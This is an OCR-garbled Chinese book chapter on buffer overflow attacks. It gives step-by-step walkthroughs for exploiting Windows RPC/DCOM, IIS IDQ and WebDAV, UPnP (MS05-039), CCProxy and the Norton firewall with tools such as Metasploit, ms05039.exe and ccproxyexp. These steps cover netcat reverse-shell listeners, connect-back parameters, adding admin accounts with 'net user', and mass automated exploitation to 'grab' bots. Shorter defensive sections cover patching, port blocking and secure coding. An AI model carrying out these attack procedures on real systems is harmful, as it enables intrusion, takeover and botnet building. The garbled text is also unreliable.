计算机用户无论采用何种操作系统,安装何种安全防护软件,网络中或多或少地都会存在一些安全漏洞。而缓冲区溢出漏洞在各种漏洞之中是具有威胁性、最为可怕的一种漏洞,利用缓冲区溢出漏洞可以实现网络渗透入侵与提权。
剖析缓冲区溢出攻击
由于缓冲区的分配是由系统的一个动态分配变量程序决定,果程序存动态分配的缓冲区中放入太多的数据会出现什么现象呢?很显然,它溢出了,这就像往杯子注入水一样。一旦水超过了杯子的容量,就会溢出而流到杯子外面。对于计算机来说,这就造成了缓冲区的溢出,这些溢出的数据就会“流到”其他的程序或系统缓冲区之中,覆盖其他程序或系统的合法数据,进而被其他程序或系统所执行。
由于这个溢出现象被入侵者发现了,因此会向程序的缓冲区写入超出其长度的数据,从而破坏程序的堆栈结构,使程序转向执行自己所设计的入侵程序,以实现攻击同的,即缓冲区溢出攻击。由于缓冲区溢出攻击易于攻击且危害性大,己成为一种流行的网络攻击方法,用户一定要及时有效地检测出计算机网络系统的入侵行为,做好及时防范。
一个缓冲区滔出简单实例
下面就介绍一个缓冲区溢出的简单实例,具体形象地介绍下什么是“溢出”。这里以在Windows XP SP3操作系统环境下进行介绍,产生缓冲区溢出的过程下。
在Windows操作系统“运行”对话框“打开”文本框中输入“cmd”命令,打开“命令提示符”窗口,6-1。这是Windows系统白带的命令行工具,可执行符种内置的命令程序。
在“命令提示符”窗口之中执行dir命令,即可看到在该窗口中显示系统目录下的所有文件、目录及相关信息,6-2。
6-2.png
命令还可以指定列表显示的路径,在“命令提示符”窗口中输入命令“dir e:\”,即可显示C盘根目录下的文件以及目录信息,6-3。
果在“命令提示符”窗口指定一个不存在的路径,即可显示“系统找不到指定的路径”提示信息,输入“dir\\?\cccccccccccc”命令,由于该指定路径足不存在的路径,因此命令执行后会提示“系统找不到指定的路径”,6-4。
6-4.png
从上述实例中,可以看出Dir命令是一个功能相对比较完善的显示文件及目录信息的程序,似乎与系统的安全并没有什么关系。果改变上述命令,在“命令提示符”窗
口中输入命令“dir、\?\cccccccccccc......ccccccccccccccc”(多于200个c),6-5。
在输入完毕后,按下Enter键,即可看到一个意外的结果,即弹出cmd程序错误的信息提示框,6-6。这就是一个典型的溢出小实例。
6-6.png
功能强大的万能溢出工具-Metasploit
Metasploit Framework是一款溢出漏洞使用工具,在其中集中了大量的操作系统、网络软件发各种应用软件的漏洞,且设计思想明确、使用方法简单易学。在Metasploit Framework中,存在有3大结构:Exploits、Payloads、Sessions,但大多数用户仅承两大结构:Exploits和Payloads。它们交互运行,就像缺一不可的两兄弟一样,功能最为强大。
1、 安装Metasploit Framework3.4.1
安装Metasploit Framework3,4.1的具体操作步骤下。
IE浏览器地址栏中输入“http:*******”,打开Metasploit F载页面, 下载最新版本的Metasploit Framework3.4.1,6-7。
下载完成后,双击下载的Metasploit Framework3.4.l.exe文件,打开“Welcome toMetasploit Framework3,4.! Setup Wizard(敢迎使用Metasploit Framework3.4.1安装向导)”对话框,6-8。
6-8.png
单击“Next”按钮,打开“License Agreement(许可证协议)”对话框,在其中查看相关的软件协议信息,6-9。果对相关的协议无异议,则单击“i Agree(我同意)”按钮,打开“Choose Instal】
Location(选择安装位置)”对话框,在其中可以通过单击“Browse(浏览)”更改软件的安装位置,也采用系统默认设置,6-10。
6-10.png
单击“Next”按钮,打开“Choose Start Menu Folder(选择开始菜单文件)”对话框,在其中设置Metasploit Framework3.4.1开始菜单文件,6-11。
单击“Install”按钮,打开“Installing”对话框,并显示程序安装的进度,6-12。.
6-12.png
在安装过程中,程序会自动弹出一个信息提示框,提示用户是否安装Nmap安全扫描器,该工具是Metasploit Framework3.4.1组件,6-13。
6-13.png
单击“是”按钮,打开Nmap的“License Agreement”对话框,在其中查看相关的软件协议信息,6-14。
果对相关协议无异议,则单击“I Agree”按钮,打开Nmap的“ChooseComponents(选择组件)”对话框,在其中选择所有组件前的复选框。6-15。
6-15.png
单击“Next”按钮,打开Nmap的“Choose Install Location”对话框,在其中可以通过单击“Browse”更改软件的安装位置,也可采用系统默认设置,6-16。单击“Install”按钮,打开Nmap的“Installing”对话框,并显示程序安装的进度,6-17。
6-17.png
由于Nmap程序的运行需要Wincap的支持,在Nmap安装过程中会弹出提示用户安装Wincap的信息提示框,6-18。单击“是”按钮,打开Wincap的“LicenseAgreement”对话框,在其中查看相关的软件协议信息,6-19。
6-19.png
果对相关的协议无异议,单击“I Agree”按钮,Wincap程序即可自动进行安装。安装完成后,会弹出“Installation Completed(安装完成)”对话框,6-20。单击“Next”按钮,打开“Wincap Option(Wincap选项)”对话枢,在其中勾选相应的复选框,6-21。
6-21.png
单击“Next”按钮,打开Wincap“Finished”对话框,提示用户Wincap已经成功安装,6-22。单击“Finished”按钮,打开Nmap的“Installation Completed(安装完成)”对话框,6-23。
6-23.png
单击“Next”按钮,打开“Creat Shortcuts(创建快捷方式)”对话框,在其中勾选“Start Menu Fokler(开始菜单文件夹)”和“Desktop Icon(桌面标)”复选框,6-24。单击“Next”按钮,打开Nmap的“Finished”对话框,提示用户已经成功安装了Nmap程序,6-25
6-25.png
单击“Finished”对话框,打开“Completing the Metasploit Framework3.4.1 SetupWizard(正在完成Metasploit Framework3.4.1安装向导)”对话框,6-26。
单击“Finished”按钮,彻底结束Metasploit Framework3.4.1的安装并弹出一个“bash”窗口,提示用户当第一次运行时,需要配置相关选项,6-27。
6-27.png
等待片刻,当Metasploit Framework3.4.1程序自行配最完成后,即可弹出6-28的提示信息。当配置完成后,即可在桌面上查看Metasploit Framework程序的快捷标,包括Metasploit Update和Metasploit Console,双击“Metasploit Update”快捷标即可打开“bash”窗口,提示用户正在更新Metasploit,6-29。
6-29.png
2、 使用Metasploit Framework
在安装好Metasploit Framework软件并进行对其更新后,下面就来介绍一下何使用Metasploit进行溢出攻击。具体的操作步骤下。
在Metasploit的安装目录下找到Msfweb.bat文件并双击,即可打开,这样就可以在本机中的“55555”端口建立一个临时的Web服务,6-30。
打开IE浏览器,在地址栏中输入“http://*******”,以启动Metasploit的Web窗口界面,在其中会出现Exploits、Auxiliaries、Payloads、Console、Sessions、About等标栏,6-31。
6-31.png
在Metasploit的Web窗口界面中单击“Exploits”标,系统即可列出目标:}机中的所有Exploits漏洞信息,6-32。
利用对主机扫描发现的漏洞信息,找到相关的漏洞利用程序,“Microsofi IIS5.0 Printer Host Header Overflow”的漏洞利用程序,单击该漏洞信息后,即可查看其详细信息,包括相对应的漏洞公告链接,6-33。
6-33.png
在漏洞详细信息页面的“Select Target”选项中选择目标主机操作系统版本,或不选择而直接进入“Payload”设置页面,在其中显示SheIICode列表,6-34。
在“ShelICode列表”之中,右侧是SheIICode的名称,左侧是相对应的功能介绍,这里选择“名称”列表中的第一个,打开6-35界面,在其中输入目标主机的IP地址,“192.168+0.10”。
6-35.png
单击“Launch Exploit”按钮,果渗透攻击成功,则系统返同cmd shell信息,以获取主机系统权限,就可以对主机做任意的操作了,6-36。
还可以使用MSF的命令模式,以Console平台来工作。在Metasploit的Web窗口界面中单击Console标,打开“Metasploit Console”窗口,6-37。
6-37.png
在mr“Metasploit Console”窗口中运行“help”命令,即可在窗口中列出很多的操作命令,6-38。其中常用的有show、info、use、set等几个命令。
“sbow”:显示规定类型的一种模块或所有模块,比exploit/payload等。
“info”:显示一种或更多模块的信息。
“use”:选择模块的名字。
“set”:设置变量。
由于Metasploit本身集合‘,众多的溢出程序,所以必须事先了解拌序本身到底有哪些可用的exploits,在“Metasploit Console”窗口中输入“Show exploits”命令,即可列出程序当前可以使用的exploits,6-39。
6-39.png
总之,Metasploit Framework作为一个溢出工具包的集合,不管是用哪种方式找到可利用的Exploits信息,都可以利用相应的漏洞信息进行溢出渗透入侵,果入侵成功,就可以获取目标主机的cmd shell信息,从而控制整个目标主机或整个网络系统。
身边的缓冲区溢出实例
由于很多程序没有对缓冲区进行检查,致使攻击者可构造出任意长度的数据提交给执行程序,发生数据的溢出,从而产生缓冲区溢出攻击。
RPC服务远程溢出漏洞攻击
RPC协议是Windows操作系统使用的一种协议,提供了系统中进程之问的交互通信。允许在远程主机上运行任意程序。在Windows操作系统中使用的RPC协泌,包括Microsoft其他一些特定的扩展,系统大多数功能和服务都依赖于它,是操作系统中极为重要的一个服务。
1、 RPC服务远程溢出漏洞概述
RPC,其全称是“Remote Procedure Call”,在操作系统中,其默认是开启的,为各种网络通信和管理提供了极大的方便,但也是危害极为严重的漏洞攻击点,曾经的冲击波、震荡波等大规模攻击和蠕虫病毒都是由于Windows系统的RPC服务漏洞造成的。可以说,每一次的RPC服务漏洞的出现且被攻击后,都会给网络系统带来一场灾难。其中,启动RPC服务的具体操作步骤下。
在Windows操作界面中选择“开始”→“设置”→“控制面板”→“管理工具”菜单项,打‘开“管理工具”窗口,640。在“管理工具”窗口中双击“服务”标,打开“服务”窗口,6-41。
在服务(本地)列表中双击“Remote ProcedUfe Call”服务项,弹出“RemoteProcedure Call (RPC)属性”对话框,在“常规”选项卡中可以查看该协议的启动类型,6-42。选择“依存关系”选项卡,即可在打开的对话框中查看一些服务的依赖关系。6-43。从下的显示服务可以看出,受其影响的系统组件有很多,其中包括了DCOM接口服务。
这个接口用户处理由客户端机器发送给服务器的DCOM对象激活请求(UNC路径)。攻击者成功利用此漏洞可以以本地系统权限执行任意指令,还可以在系统上执行任意操作,安装程序、查看或更改、删除数据或建立系统管理员权限的账户。
6-43.png
若想对DCOM接口进行相应的配置,具体的操作步骤下。
在“运行”对话框中输入“Dcomcnfg”命令,6-44。单击“确定”按钮,弹出“组件服务”窗口,单击“组件服务”前面的“+”号,依次展开各项至“DCOM配置”子菜单项为止,即可查看DCOM中各个配置对象,6-45。
6-45.png
选择DCOM配置的对象(DirectAccess Class)并有击,从弹出的快捷菜单中选择“属性”选项,打开“DirectAccess Class属性”对话框,在“身份验证级别”下拉列表中选择相应的选项,6-46。
选择“位置”选项卡,在打开的设置对话框中对DirectAccess Class对象进行位置的设置,6-47。选择“安全”选项卡,在打开的设置对话框中对DirectAccess Class对象进行启动和激活权限、访问权限和配置权限的设置,6-48。
6-48.png
选择“终结点”选项卡,在打开的设置对话框中对DirectAccess Class对象进行终结点的设置,6-49。选择“标识”选项卡,在打开的设置对话框中对DirectAccessClass对象进行标识的设置,在其中选择运行此应用程序的用户账户,6-50。
6-50.png
由于DCOM可以远程操作其他计算机中的DCOM程序,而技术使用的是用于调用其他计算机所具有的函数的RPC(远程过程调用).因此,利用这个漏洞,攻击者只需要发送特殊彤式的请求到远程计算机的1 35端口,轻则可以造成拒绝服务攻击,重则远程攻击者可以以本地管理员权限执行任何操作。
2、 RPC服务远程溢出漏洞攻击实例
DcomRpc接口漏洞对Windows操作系统乃至整个网络安全的影响,可以说超过了以往任何一个系统漏洞。其主要原因是由于DCOM是目前几乎所有Windows系统的基础组件,应用比较广泛。F面以DcomRpc接口漏洞溢出为例讲述溢出的方法,具体的操作步骤下。
将下载好的DcomRpc.xpn插件复制到X-scan的Plugin文件夹中,作为X-Scan插件,6-51。运行X-scan扫描工具,选择“设置”→“扫描参数”选项,打开“扫描参数”对话框,在选择“全局设置”→“扫描模块”选项,可看到添加的“DcomRpc溢出漏洞”模块,6-52。
6-52.png
在使用X-Scan扫描到的具有DcomRpc接口漏洞的主机时,可以看到在X-Scan中有明显的提示信息。果使用RpcDcom.exe专用DcomRPC溢出漏洞扫描工具,则可通过“命令提示符”窗口进入RpcDcom.exe所在文件夹,执行“RpcDcom—d lP地址”命令后开始扫描并看到最终的扫描结果,6-53。果操作成功,则执行溢出操作并立即得到被入侵主机的系统管理员权限。
3、 RPC服务远程溢出漏洞的防御
RPC服务远程溢出漏洞可以说足Windows系统中最为严重的一个系统漏洞,下面介绍几个RPC服务远程溢出漏洞的防御方法,让自己的计算机或系统处于相对安全的状态。
(I)及时为系统打补丁
防御系统出现漏洞最直接最有效的方法是打补丁,对于 RPC服务远程溢出漏洞的防御也是此。不过在对系统打补丁时,务必要注意补丁相应的系统版本。
(2)封锁135端口
RPC服务远程开启的过程需要开放I35端口,因此,对于RPC服务远程溢出漏洞的防御,可以采用封锁l35端口的方式。封锁135端口最直接最有效的方法是关闭RPC服务,此外,还可以采用下方式。
· 可以往防火墙中增加‘条规则。拒绝所有的这类进入的UDP包,目的端口是135,源端口是7、19或135,可以保护内部的系统,防止来自外部的攻击,6-54为防火墙添加阻止的端口号。
· 打开网络连接中的“本地连接属性”对话框。双击打开“Intemet协议(TCP/IP)”属性窗口,单击“高级”按钮进入“高级TCP/IP设置”对话框,选择“选项”选项卡,单击“属性”按钮在“TCP/IP筛选”窗口中添加筛选器,指定使用的端口,6-55。
6-55.png
(3) 关闭RPC服务
关闭RPC服务也是防范DcomRpc漏洞攻击的方法之一,而且非常效果、彻底。其具体的方法是:选择“开始”→“设置”→“控制面板”→“管理工具”菜单项,在“管理工具”窗口中双击“服务”标,打开“服务”窗口。在其中双击“Remote Procedure Call”服务项,打开其属性窗口。在属性窗口中将启动类型设置为“已禁用”,这样下次启动开始RPC就将不在启动,6-56。
另外,还可在注册表编辑器中将“HKEY—LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs”的“Start”值由OX04变成OX02后,重新启动机器,6-57。
6-57.png
这种设置将给Windows的运行带来很大影响。Windows XP Professional从登录到显示桌面,要等待相当长的时间。因为Windows的很多服务都依赖于RPC,因此,这些服务在将RPC设置为无效后将无法正常启动。这样做的弊端非常大一般不能关闭RPC服务。
(4)手动为计算机启用(或禁用)DCOM
针对具体的RPC服务组件,用户还可以采用具体的方法进行防御。例禁用RPC服务组件中的DCOM服务。可采用下方式进行,这里以Windows XP为例,具体操作步骤下。
脚本“运行”对话框的“打开”文本框中输入“Dcomcnfg”命令,单击“确定”按钮,打开“组件服务”窗口,依次单击“控制台根日录”→“组件服务”→“计算机”→“我的电脑”菜单项,进入“我的电脑”子文件夹,6-58。
若对于本地计算机,则需要右击“我的电脑”子文件夹,从弹出的快捷菜单中选择“属性”菜单项,打开“我的电脑属性”对话框。选择“默认属性”选项号,进入“默认属性”设置界面,取消“在此计算机上启用分布式COM”复选框,6-59。
6-59.png
若对于远程计算机,则需要右击“计算机”文件夹,从弹出的快捷菜单中选择“新建”→“计算机”子菜单项,打开“添加计算机”对话框,6-60。在“添加计算机”对话框中输入计算机名称或单击右侧的“浏览”按钮来搜索计算机,6-61。
6-61.png
IDQ缓冲区溢出攻击
IIS的.idq/.ida映射的溢出漏洞是一个相对比较古老的漏洞,利用该漏洞的攻击就是IDQ缓冲区溢出攻击。这里介绍这种漏洞攻击的主要目的是起到一个“抛砖引玉”的作用,希望计算机用户对系统的安全防御有个更深层次的认识。
1、IDa漏洞概述
Microsoft公司的IIS在默认安装情况一下带了一个索引服务器。在默认安装时,IIS支持两种脚本,即映射(.ida文件)和Internet数据查询脚本(.idq文件)。这两种脚本都由一个ISAPI扩展-idq.dll来处理和解释。由于idq.dll在处理某些URL请求时存在一个未经检查的缓冲区,果攻击者提供一个特殊格式的URL,就可能引发。个缓冲区溢出。
果攻击者发送的是精心构造的数据,就有可能改变程序执行流程,执行恶意代码。果攻击成功则获取远程主机的“Local System”权限。
2、入侵IDQ漏洞
IDQ漏洞是先前发现的众多漏洞中的一种,在入侵IDQ漏洞时需要先准备Snake IIS溢出工具、X-Scan扫描器、NC.exe三个工具。具体的入侵过程下。
先使用X-Scan扫描器对某个IP地址段进行扫描,找出具有IDQ漏洞的计算机。
运行Snake IIS溢出工具,输入被攻击主机的IP地址,选择对方主机的系统类型,并设置一个监听的端口号,默认为813,6-62。
单击“IDQ溢出”按钮,若连接成功,则显示6-63的提示信息。果则将提示不能连接主机,6-64。
6-64.png
此时打开“命令提示符”窗口,使用Telnet命令即可进入对方主机,6-65用户还可以先使用nc.exe在本地主机中打开一个监听端口,6-66。
6-66.png
在溢出工具中选取“溢出后,主动连接到IP/Port”单选项,在“要绑定的命令”文本框中输入“cmd.exe/c dir c:\”,6-67。
单击“IDQ溢出”按钮,则提示发送shellcode成功,且在本地主机的“命令提示符”窗口中自动显示被攻击主机的C:盘根目录的内容,6-68。
6-68.png
连接成功后,用户就可以使用“net user”命令在对方主机中创建一个属于自己的用户账号,且还可以使用“net localzrouo”命令将新建的账号提升为管理员权限。
6-68-1.png
3、 防范IDQ入侵
对于存在IDQ漏洞的主机,其防御措施有下两种。
(1) 删除.ida/.idq ISAPI脚本映射。
删除.ida/.idq ISAPI脚本映射的具体操怍步骤下。
选择“开始”→“控制面板”→“管理工具”→“Intemet信息服务”选项,打开“Intemet信息服务”窗口,单击“本地计算机”前面的“+”号,展开本地计算机项目,6-69。
选中“网站”选项并单击鼠标右键,从弹出的快捷菜单中选择“属性”菜单项,打开“网站属性”对话框,在其中选择“主目录”选项卡,6-70。
6-70.png
单击“配置”按钮,打开“应用程序配置”对话框,在其中选择需要删除的.ida映射脚本文件,6-71。单击“删除”按钮,打开一个提示用户‘确实要删除选定的脚本映射吗?”信息提示框,单击“是”按钮,即可删除.ida映射脚本映射,6-72。
6-72.png
(2)及时下载Microsofi公司的系统补丁并安装。补丁可能因具体硬件不同而不同,所以用户需要向原设备制造商索取。
WebDAV缓冲区溢出攻击
WebDAV缓冲区溢出出现的主要原因,是IIS服务默认提供了对WebDAV的支持,WebDAV可以通过HTTP向用用户提供远程文件存储的服务,但该组件不能充分检查传递给部分系统组件的数据。这样,远程攻击者利用这个漏洞就可以对WebDAV进行缓冲区溢出攻击,从而获得LocaISystem权限,进而完全控制目标主机。
1、WebDAV缓冲区溢出攻击
下面介绍WebDAV缓冲区溢出攻击过程。入侵之前攻击者需准备两个程序,即WebDAV漏洞扫描器WebDAVScan.exe和缓冲区溢出工具we8davx3.exe。具体的操作步骤下。
下载并解压缩WebDAV漏洞扫描器,在解压后的文件夹中双击WebDAVScan.exe可执行文件,打开其操作主界面,在“起始lP”和“结束iP”文本框中输入要扫描的lP地址范围,6-73。
单击“扫描”按钮,开始扫描目标主机,该程序运行速度非常快,可以准确地检测出远程IIS服务器是否存在有WebDAV漏洞,在扫描列表中的“WebDAV”列中凡是标明“Enable”的,则说明该主机存在漏洞,6-74。
6-74.png
在“命令提示符”窗口中输入“cd c:\”命令,进入c盘目录之中,6-75。在C盘目录之中运行命令“webdavx3.exe 192.168.0.10”,即可开始溢出攻击,6-76。
6-76.png
其运行结果下:
6-76-1.png
果出现上面述结果则表明溢出成功,稍等2~3分钟后,按“Ctrl+C”组台键结束溢出,再在“命令提示符”窗口中输入命令:telnet 192.168.0.10 7788,6-77。
当连接成功后,就可以拥有目标主机的系统管理员权限,即可对目标主机进行任意操作。例,在“命令提示符”窗口中输入命令:“cd c:、”,即可进入目标上机的c盘目录之下,6-78。
6-78.png
2、WebDAV缓冲区溢出攻击防御
果不能立刻安装补丁或升级,用户可以采取下措施来降低威胁:
使用微软提供的IIS Lockdown工具防止该漏洞被利用:
在注册表中完全关闭WebDAV包括的PUT和DELETE请求。
具体的操作步骤下。
启动注册表编辑器。在“运行”对话框中的“打开”文本框中输入“Regedt32.exe”,
然后按下Enter键,打开“注册表编辑器”窗口,6-79。 在注册表中搜索下键:“HKEY_LOCAL_MACHrNE\SYSTEMICurrentControlSet\Services\W3SVC\Parameters”,6-80。
选中该键值后单击鼠标右键,从弹出的快捷菜单中选择“新建”菜单项,即可新建一个项目,并将该项目重命名为“DisableWebDAV”,6-81。
选中新建的项目“DisableWebDAV”在窗口的右侧“数值“下侧单击鼠标右键,从弹出的快捷菜单中选择“DWORD值”选项,6-82。
在“注册表编辑器”窗口中新建一个键值,选择该键值,在弹出菜单中选择“修改”菜单项,打开“编辑DWORD位”对话框,在“数值名称”文本框中输入“DisableWebDAV”,存“数值数据”文本框中输入“l”,6-83。单击“确定”按钮,即可在注册表中完全关闭WebDAV包括的PUT和DELETE请求,6-84。
6-80.png
6-84.png
即插即用功能远程控制缓冲区溢出攻击
UPnP(全称Universal Plug and Play,通用即插即用)软件是基互联网协议的,它允许不同的设备(电脑、扫描仪、打印机等)联成网络,可在彼此之问自动识别并进行通信,用户不需要在挨个为每个外设配置计算机。
1、即插即用功能远程控制缓冲区溢出攻击
UPnP也存在缓冲区溢出问题,它是Windows中有史以来最严重的缓冲溢出漏洞,当处理NOTIFY命令中的Location字段时,果IP地址、端口和文件名部分超长,就会发生缓冲区溢出,由此会造成服务器程序的一些进程,其内存空间的内容被覆盖。
下面简单介绍即插即用功能远程控制缓冲区溢出攻击的过程。入侵之前攻击者需要准备两个程序,即MS05-039Scan上具和缓冲去溢出工具ms05039.exe。其具体的攻击步骤下。
下载并解压缩MS05-039Scan工具,用于Microsofi Windows即插即用功能远程缓冲区溢出漏洞的专用扫描工具。6-85即为打开的“MS05-039Scan”主窗口。
6-85.png
在MS05-039Scan主窗口中输入远程主机lP的起始和结束地址之后,单击片1.png按钮,把输入的IP地址添加到扫描范围中,6-86。
单击片2.png按钮,开始对远程主机进行扫描,在其中查找存在Wind。ws即插即用远程缓冲区溢出漏洞的远程主机,6-87。
6-87.png
利用X-Scan扣描存在漏洞的远程主机,查看它的主机类型。在本地命令行窗口中找到nc.exe 工具所在的目录之后,在其中输入“nc一1-p 7755”命令,进行监听状态(7755代表在本地主机中打开用于监听的端口号)。
在MS-DOS命令行窗口中找到ms05039.exe所在的目录之后,在其中输入“ms05039.exe存在漏洞的远程主机lP本地机lP 7755 1”命令,对远程主机添加账号,果账号添加成功,则说明获得了管理员权限。
ms05039.exe工具的命令格式为: ms0503 9.exe<hos》《conIP><eonPo rt> [target]。
host:指远程主机IP地址或者远程主机名。
conIP:本地回连IP。
ConPort:溢出成功后远程主机回连的端口号。
Target:选择操作系统类型。
2、预防措施
由于Windows XP在出售之前就已经打开了UpnP功能,因此,所有Windows XP用户都应立即安装该补丁';而Windows Me用户只有在运行UpnP时才需要该补丁,因为Windows Me的UPnP功能在安装时是关闭的。Windows XP用用户可以在“http:/*******? ReleaseID-34951“地址中下载该补丁。
安全防线上的溢出漏洞
对于服务器系统存在的漏洞,服务商发布更新非常及时,管理员也会及时为系统打上补丁,因此系统遭受漏洞攻击的安全威胁周期非常短。对于在服务器,下运行的各种第三方软件,由于技术与服务的原因,往往发布更新弥补漏洞不够及时,管理员应该重视。其实在许多服务器上,造成整个安全防线全面崩溃的原因,往往就是这些安全防线上不起眼的溢出漏洞。
不同信任的HTTP CONNECT代理“请求”
使用代理服务器可以帮助用户获取网络上的相关信息和资源,果代理服务器软件存在远程溢出漏洞,各种服务器网站将是一场可怕的灾难。国内常用代理服务器软件是CCProxy,该软件由于设计不够完善,导致多次出现远程溢出漏洞,服务器遭受攻击者的破坏。
很多代理服务器也存在者类似的漏洞,这里就以CCPfoxy即遥志代理服务器软件为例,分析利用代理服务器溢出漏洞进行攻击的过程,以提高读者时代理服务器软件安全性的重视。
1、“恶意”请求,溢出漏洞的关键
CCProxy代理服务器软件屡次出现溢出漏洞的关键在于,CCProxy程序对连接请求处理不当所造成的。CCProxy默认的HTTP代理端口是808,它可在其界面中进行更改。通常情况下,CCProxy会监听这个端口,接收发送到此端口的HTTP代理连接请求,为连接执行代理服务。
造成漏洞的原因很简单,由于CCProxy没有正确地处理发送给默认监听到TCP808端口上的HTTP代理的连接请求,远程攻击者可通过发送恶意构造的请求,触发栈溢出,导致执行恶意代码。在CCProxy6.5和CCProxy6+61版本中存在的Connect远程溢出漏洞,就是通过对CCProxy的HTTP代理端口发送带有超长主机名的CONNECT请求,导致远程溢出攻击。
2、搜索溢出攻击目标
在正式进行溢出攻击之前,必须先搜索出存在溢出漏洞的目标主机。由于,CCProxy的HTTP代理使用的默认端口是808,在提供“HTTP/RTSP”、“Secure”等代理服务时,就会开放这个端口。果同时启用了Socks或FTP代理,还可能开放1080和2121端口。因此使用这些端口的特性,可以轻松地确定哪些主机使用了CCProxy代理软件的服务器。
(1)使用扫描器搜索CCProxy代理服务器
使用CCProxy共享代理上网,通常会自动打开代理服务器的808系统端口,因此,使用扫描器对某个网段进行扫描时,果发送到开放了808端口的主机,就可以认为该台主机使用了CCProxy软件作为代理的服务器。具体的搜索步骤下。
运行X-Scan扫描器,单击其工具栏上的“扫描参数”按钮,打开“扫描参数”对话框,在“检测范围”中选择执行要扫描的lP地址范围,这里可以输入一个固定的lP地址也可以输入一个IP地址段,6-88。
展开“全局设置”→“扫描模块”选项,在其中设置扫描模块为“开放服务”,6-89。展开“插件设置”→“端口相关设置”选项,将“待检测端口”设置为“808,1080”或“808,1080,2121”,这里设置为“808”,6-90。
6-89.png
在“全局设置”主选项下选择“其他设置”选项,将其中的扫描类型设置为“无条件扫描”,6-91。单击“确定”按钮,即可关闭“扫描参数”对话框。
6-91.png
在X-Scan扫描器主操作界面中的工具栏栏上单击“开始扫描”按钮,则X-Scan可按照用户的设置进行扫描,6-92。
在扫描介绍后,即可自动弹出一个扫描结果显示窗口。果发现开放了808、1080
或2121端口的主机,则可以推测该台主机运行了 CCProxy,6-93。
6-93.png
3、 探测CCProxy
在默认情况下,CCProxy会将“23”作为Telnet服务的代理端口,“2121”作为FTP服务的代理端口,用户只需要在这些端口上进行数据信息探测,就可以发现目标主机是不是CCProxy代理服务器。探测CCProxy的具体操作步骤下。
在“命令提示符”窗口,运行“Telnet 192.168.0.10 23”命令,6-94。
果目标代理服务器是处于CCProxy的免密码状态,就会出现Banner信息“CCProxy TelnetServer Ready”,6-95。
6-95.png
果目标代理服务器是处于CCProxy密码状态,即设置过代理用户名和密码,则会提示输入用户名,随意输入几个字符,将会出现错误提示“User Invalid”,6-96。这些信息都是CCProxy特有提示信息,可轻松确定目标代理服务器是否安装了CCProxy。
4、 利用漏洞进行溢出攻击
在找到攻击溢出的目标主机后,下面就可以利用远程溢出漏洞攻击工具“ccproxyexp”进行溢出攻击测试。具体的操作步骤下。
下载并解压缩“ccproxyexp”工具压缩包,将解压文件复制到c盘目录之下,在“命令提示符”窗口中利用“cd”命令进入“ccproxyexp”所在文件夹,6-97。
6-97.png
运行“ccproxyexp”程序,命令格式为:“ccproxyexp.exe目标lP地址攻击端口”。这里假设ccproxy代理服务器漏洞主机的lP地址为“192.168.0,10”,在“命令提示符”窗口中输入命令“ccpfoxyexp,exe 192,168.0.10 808”,6-98。
当执行该命令后,系统会先询问“本上机lP是否与目标主机在同一个网段?[y/n]”,6-99。
6-99.png
果是在一个网段内,则按下“Y”键;否则按下“N”键,这里按下“Y”键,使得溢出程序开始连接远程主机,并自动发送溢出代码,6-100。
在代码发送成功后,ccproxyexp将自动连接在远程主机上溢出打开的端口,并获取一个System权限的shell,6-101。在获取的Shell命令窗口中可以进行各种系统的操作,包括添加/删除用户一账号等,还可以利用 FTP 上传木马程序等,控制目标主机。
6-101.png
果不在一个刚段内,则按下“N”键,在溢出时会冉次询问“本主机有没有真实外网lP地址?[y/n]”,6-102。
果本主机存在公网lP地址,则按下_“Y”键,自动进行溢出,6-103。果本机是处于局域网内,没有公网lP地址,则按“N”键,.按照要求输入本机网关的外网IP地址,再按照提示进行溢出攻击即可。
6-103.png
一击即溃的诺顿防火墙
诺顿防火墙软件是一个通过支持高级加密标准算法确保最高安全和性能的防火墙,可以提供安全故障转移和最长的正确运转时间等。也成了许多企业和个人计算机用户实施安全保护的重要屏障,不可避免地出现了攻击者可利用的漏洞。
1、一击即溃的原因
诺顿防火墙曾经多次出现远程溢出漏洞的主要原因是其过长的DNS域名。该DNS域名问题造成了多个版本诺顿防火墙都存在一个危害非常严重的DNS应答拒绝服务溢出漏洞。这个漏洞存在于“SYMDNS.SYS”文件之中。在允许程序通过防火墙之前,“SYMDNS.SYS驱动的软件会验证每个DNS应答包,在重组DNS Answer.Name时对外部提供的数据缺少充分的边界缓冲区检查,果攻击者有意构建恶意的DNS应答数据到受此漏洞影响的UDP53端口,就可能发生拒绝服务攻击,存在执行任意指令的可能。
2、构造DNS应答,触发溢出攻击。
在了解了诺顿防火墙一击即溃的原因之后,下面就来演示一个利用DNS应答溢出漏洞进行攻击的过程。具体的攻击过程下。
下载并解压缩诺顿防火墙溢出攻击工具“诺顿自动溢出机”,双击其中的可执行文件,打开“诺顿自动溢出机”主操作界面,在其中输入需要扫描漏洞的lP地址范围和扫描线程,6-104。
单击“扫描漏洞”按钮,开始扫描存在DNS溢出漏洞的主机,6-105。单击“整理iP”按钮,打开Result.txt记事本文件,在其中显示了已经扫描到的lP地址信息,6-106。单击“批量溢出”按钮,开始自动进行扫描溢出攻击,6-107。
6-106.png
单击“全自动溢出抓鸡”按钮,即可完成自动扫描溢出攻击全过程,果溢出攻击成功,对象的防火墙就会出现错误提示,并在NC监听的窗口中获取一个CMDShell,这样被保护的主机也就完全暴露在攻击者的面前,6-108。
6-108.png
防止缓冲区溢出
缓冲区溢出是当今流行的,种网络攻击方法,它易于攻击而且危害严重,给系统的安全带来了极大的隐患。因此,何发时有效地检测出计算机网络系统攻击行为,已越来越成为网络安全管理的一项重要内容。
防范缓冲区溢出的根本方法
目前有四种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响,包括编写正确的代码、非执行的缓冲区、数组边界检查和程序指针完整性检查。
1、编写正确的代码
编写正确的代码是防止缓冲区溢出攻击最直接最有效的方法,特别是编写像c语言那种具有容易出错倾向的程序更显得很有意义。尽管人们知道了何编写安全的程序组,但具有安全漏洞的程序依旧出现。为此,人们又开发了一些工具和技术来帮助经验不足的程序员编写安全正确的程序代码。
最简单的方法就是用grep来搜索源代码中容易产生漏洞的库的调用,然而依然有漏网之鱼存在。为了对付这些问题,人们又开发了一些高级的查错工具,faultinjection等。这些工具的目的在于通过人为随机地产生一些缓冲区溢出来寻找代码的安全漏洞,还有一些静态分析工具,用于侦测缓冲区溢出的存在。
